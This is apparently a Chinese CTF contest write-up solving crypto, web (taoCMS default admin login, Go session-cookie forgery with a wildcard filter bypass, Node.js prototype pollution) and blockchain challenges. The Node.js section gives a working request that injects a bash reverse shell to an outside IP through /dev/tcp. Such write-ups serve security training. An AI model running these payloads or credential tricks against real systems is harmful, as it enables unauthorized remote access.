校赛wp

Crypto

solve_me

先费马分解

image-20231007092105405

flag{fa2371c5-bf58-4502-9fea-caf12a85d1ff}

web

Easycms

打开页面,页面显示taoCMS演示系统,想着应该有漏洞,上网搜taocms漏洞

看到文章http://blog.csdn.net/m0_46684679/article/details/129214411

访问url/admin/admin.php

弹出一个登录界面,

账户admin

密码tao

登录成功,跳转到这个界面

点击文件管理,进入../../../看到flag,点开看到flag

QLNU{woW_CMs_1s_DAngeR0us_41rI9h7?_91b5e2b34cc2}

Answered

附脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import re
import time

session = requests.session()
result = 1
while True:
burp0_url = "http://qlnuctf.shenghuo2.top:49194/"
burp0_cookies = {"session": "eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NjY1NjY0OS43ODcwNTZ9.ZSDtCQ.0RE2Dez4_dd5v-o6Hk_rVi_UnpE"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55",
"Origin": "http://qlnuctf.shenghuo2.top:49194",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://qlnuctf.shenghuo2.top:49194/", "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
burp0_data = {"answer": result}
res_2 = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

timu_2 = re.search(r'<h3>(.*?)</h3>', res_2.text)
if '异或' in timu_2.group(1):
pattern = r'题目:(\d+) 异或 (\d+) = ? '
match = re.search(pattern, res_2.text)
result = int(match.group(1)) ^ int(match.group(2))
elif '与' in timu_2.group(1):
pattern = r'题目:(\d+) 与 (\d+) = ? '
match = re.search(pattern, res_2.text)
result = int(match.group(1)) & int(match.group(2))
else:
pattern = r'题目:(\d+) (.) (\d+) = ? '
match = re.search(pattern, res_2.text)
group_1 = int(match.group(1))
group_3 = int(match.group(3))
if match.group(2) == '+':
result = group_1 + group_3
elif match.group(2) == '-':
result = group_1 - group_3
elif match.group(2) == 'x':
result = group_1 * group_3
elif match.group(2) == '÷':
result = group_1 // group_3
if "flag" in res_2.text:
print(res_2.text)
time.sleep(1)

小tips:有一点难的是就是,发的包需要是完整的,加上session(最主要的),之前没有完整的数据包,搞了半天不行。。。

EasyGo

下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。

查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag

总共有两个路由,一个“/“路由,一个”/readflag”路由

根路由 /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"main/route"

"github.com/gin-gonic/gin"

)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/readflag", route.Readflag)
r.Run("0.0.0.0:8000")
}

最主要的一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "User"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, User. How to become admin?")

}

可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, User. How to become admin?

想到需要伪造session

上面通过获取环境变量中的SESSION_KEY来获取生成securecookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。

这里将route.go修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == "" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, User. How to become admin?")

}

之后在附件目录

命令行go run main.go

之后访问127.0.0.1:8000获取session

得到session

MTY5NjY1NDM2M3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx83HZpaT0T7b2lYtEd0cAmvQ_sS926v-ycwnspOHOOGw==

这里呼应前面修改之后他不跳转,一直显示Hello, User. How to become admin?,修改之后需要访问url/readflag才能看到回显

访问url/readflag可以看到出现了你已经是admin,怎么获得flag

1
2
3
4
5
6
7
8
9
10
11
if session.Values["name"] == "admin" {
c.String(200, "Congratulation! You are admin,But how to get flag?\n")

path := c.Query("filename")

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

if reg.MatchString(path) {
http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}

读源码看到需要filename读文件,过滤了好多字符,没过滤?通配符读flag就好

Nodejs

这个题基本上原题了。。。。原题是贵阳大数据及网络安全精英对抗赛的JUST_PROTO

http://cloud.tencent.com/developer/article/2282627

下载附件直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const express = require('express');
const { exec } = require("child_process");
const app = express();

app.get('/', (req, res) =>
res.send('谁说JavaScript不算Java'));

let gift = {
s1: (token)=>{
return !!token
},
sl: ()=>{
if (
JSON.stringify(si).length > 8000)
si = {}
},
};

let si = {};

app.get('/set', (req, res) => {
gift.sl();
const {token, key, val} = req.query;
if (!gift.s1(token) || !val) return res.send("what?");
si[token][key] = val;
res.json({ is_succ: true })
});

app.get('/get', (req, res) => {
const {token, key} = req.query;
if (!gift.s1(token)) return res.send("what?");
let result = si[token];
if (result) result = result[key];
res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined })
});


app.put('/up', (req, res) => {
let date_stream = Buffer.from(JSON.stringify(si));
const cmd = gift.redis_set + `date ${date_stream.toString('base64')}`;
exec(cmd, (err,_,__) => {
if (err) return res.json({ is_succ: false });
res.json({ is_succ: true });
});
});

app.listen(8080, () => console.log(`谁说JavaScript不算Java`));

原型链污染,其中的exec存在命令拼接

1
2
3
4
5
import requests

print(requests.get(
"http://k2p.shenghuo2.top:40046/set?token=__proto__&key=redis_set&val=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F123.57.236.154%2F9999%200%3E%261';").text)
requests.put(f"http://k2p.shenghuo2.top:40046/up")

Blockchain

准备工作 nc工具 MetaMask remix网站

本题借鉴文章http://coldwinds5167.github.io/2022/10/Blockchain-solve/

先利用题目给了水龙头,创建一个账户

根据要求,发多于0.01个测试币注册账号

之后访问2(需要手动推出nc重新链接)

image-20231008194728150

提取他给的contrant address

0x002C8040CC431dCd9440B966E5A3f63B9ab61F56

在这之前你需要利用题目给的水龙头和rcp创建钱包账户

选中网络

之后点添加网络-手动添加网络

之后复制你钱包地址

放到给的水龙头地址

之后你的账户里就有钱了

之后访问4,得到合约

pragma solidity 0.8.9;

contract Greeter {
string greeting;

constructor(string memory _greeting) {
    greeting = _greeting;
}

function greet() public view returns (string memory) {
    return greeting;
}

function setGreeting(string memory _greeting) public {
    greeting = _greeting;
}

function isSolved() public view returns (bool) {
    string memory ctf = "YouAreTheFutur3ofQLNU";
    return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting));
}}

我们这里用到remix

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity 0.8.9;

contract Greeter {
string greeting;

constructor(string memory _greeting) {
greeting = _greeting;
}

function greet() public view returns (string memory) {
return greeting;
}

function setGreeting(string memory _greeting) public {
greeting = _greeting;
}

function isSolved() public view returns (bool) {
string memory ctf = "YouAreTheFutur3ofQLNU";
return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting));
}
}

contract exp{
address transcation=0xbaed0e840640c1d979ACed1315e14D983808F9F5;//这里的0x啥对应的是我们前面提取的钱包地址
Greeter target=Greeter(transcation);
constructor()payable{}
function hack() public returns(bool){
bool ans=false;
string memory greeting="YouAreTheFutur3ofQLNU";
target.setGreeting(greeting);
ans=target.isSolved();
return ans;
}
}

红色的地方要对应起来

先对应第一步,先inject的那个,第二步deploy,之后小狐狸钱包(MetaMask)会弹窗让你确认,等到下面出现绿色对号就可,第三步hack,小狐狸钱包发钱,成功后,回去访问4就可以了